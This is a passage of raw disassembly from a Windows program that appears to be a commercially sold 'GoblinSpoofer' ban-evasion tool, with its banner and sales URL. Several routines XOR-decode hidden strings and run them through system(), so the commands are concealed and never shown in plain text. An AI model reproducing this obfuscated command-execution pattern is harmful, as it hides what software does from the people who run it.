psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x14000bd40
cmp r8d, 0x63
jge 0x14000be80
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x63
jl 0x14000be50
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp - 0x70]
lea rsi, [0x140000000]
lea rcx, [rsi + 0x895c0]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x90], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0xa0], rax
movzx eax, byte [rcx + 0xa8]
mov byte [rdx + 0xa8], al
mov r8d, r13d
cmp ebx, 2
jl 0x14000c069
movdqa xmm5, xmmword [0x140089780]
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x14000bf60
cmp r8d, 0xa9
jge 0x14000c0b3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa9
jl 0x14000c080
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x70]
lea rax, [rsi + 0x89250]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp ebx, 2
jl 0x14000c270
movdqa xmm5, xmmword [0x140089780]
mov edx, r13d
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x14000c170
jmp 0x14000c2b3
lea r9, [rbp - 0x70]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x14000c280
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.OTSX]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140089480]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140089490]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x1400894a0]
movups xmmword [rbp - 0x40], xmm1
movzx eax, word [0x1400894b0]
mov word [rbp - 0x30], ax
movzx eax, byte [0x1400894b2]
mov byte [rbp - 0x2e], al
mov r8d, r13d
cmp ebx, 2
jl 0x14000c445
movdqa xmm5, xmmword [0x140089780]
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14000c342
cmp r8d, 0x43
jge 0x14000c480
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x43
jl 0x14000c450
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [str._UI_h]
mov dword [rsp + 0x40], eax
cmp byte [0x1400894b7], 0
je 0x14000c570
cmp ebx, 2
jl 0x14000c52f
movdqa xmm3, xmmword [0x140089780]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400897d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400897d0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, edi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400897a0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
jmp 0x14000c570
lea r9, [rsp + 0x40]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000c540
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rsi, qword [rsp + 0x68]
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov edx, reloc.WS2_32.dll_listen
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____d888b___.d88b.__d8888b._db______d888888b_d8b___db___.d8888._d8888b.__.d88b.___.d88b.__d88888b_d88888b_d8888b.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88_Y8b_.8P__Y8._88___8D_88_________88___888o__88___88__YP_88___8D_.8P__Y8._.8P__Y8._88_____88_____88___8D
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88______88____88_88oooY_88_________88____88V8o_88____8bo.___88oodD_88____88_88____88_88ooo___88ooooo_88oobY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88__ooo_88____88_88b._88_________88____88_V8o88______Y8b._88___88____88_88____88_88___88_88_8b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88._8__8b__d8_88___8D_88booo.___.88.___88__V888___db___8D_88_______8b__d8__8b__d8_88______88._____88__88.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____Y888P____Y88P__Y8888P_Y88888P_Y888888P_VP___V8P____8888Y_88________Y88P____Y88P__YP______Y88888P_88___YD
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str._________________________________________https:__goblinsp00fer.sellpass.io_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edx, 3
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._________Please_make_sure_your_VPN_is_turned_off__then:
lea rcx, [rbp + 0x368]
call fcn.140001a00
nop
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x368]
call fcn.140010840
mov rdi, rax
lea rcx, [rbp + 0x368]
call fcn.140010830
mov rbx, rax
cmp rax, rdi
je 0x14000c7e1
mov qword [rsp + 0x68], 0xa
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x68]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x14000c7b0
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____d888b___.d88b.__d8888b._db______d888888b_d8b___db___.d8888._d8888b.__.d88b.___.d88b.__d88888b_d88888b_d8888b.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88_Y8b_.8P__Y8._88___8D_88_________88___888o__88___88__YP_88___8D_.8P__Y8._.8P__Y8._88_____88_____88___8D
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88______88____88_88oooY_88_________88____88V8o_88____8bo.___88oodD_88____88_88____88_88ooo___88ooooo_88oobY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88__ooo_88____88_88b._88_________88____88_V8o88______Y8b._88___88____88_88____88_88___88_88_8b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88._8__8b__d8_88___8D_88booo.___.88.___88__V888___db___8D_88_______8b__d8__8b__d8_88______88._____88__88.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____Y888P____Y88P__Y8888P_Y88888P_Y888888P_VP___V8P____8888Y_88________Y88P____Y88P__YP______Y88888P_88___YD
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str._________________________________________https:__goblinsp00fer.sellpass.io_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edx, 3
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 1
call fcn.140074d50
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov edx, 0x46
mov ecx, 0x44c
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.1400037d0
mov ecx, 0x157c
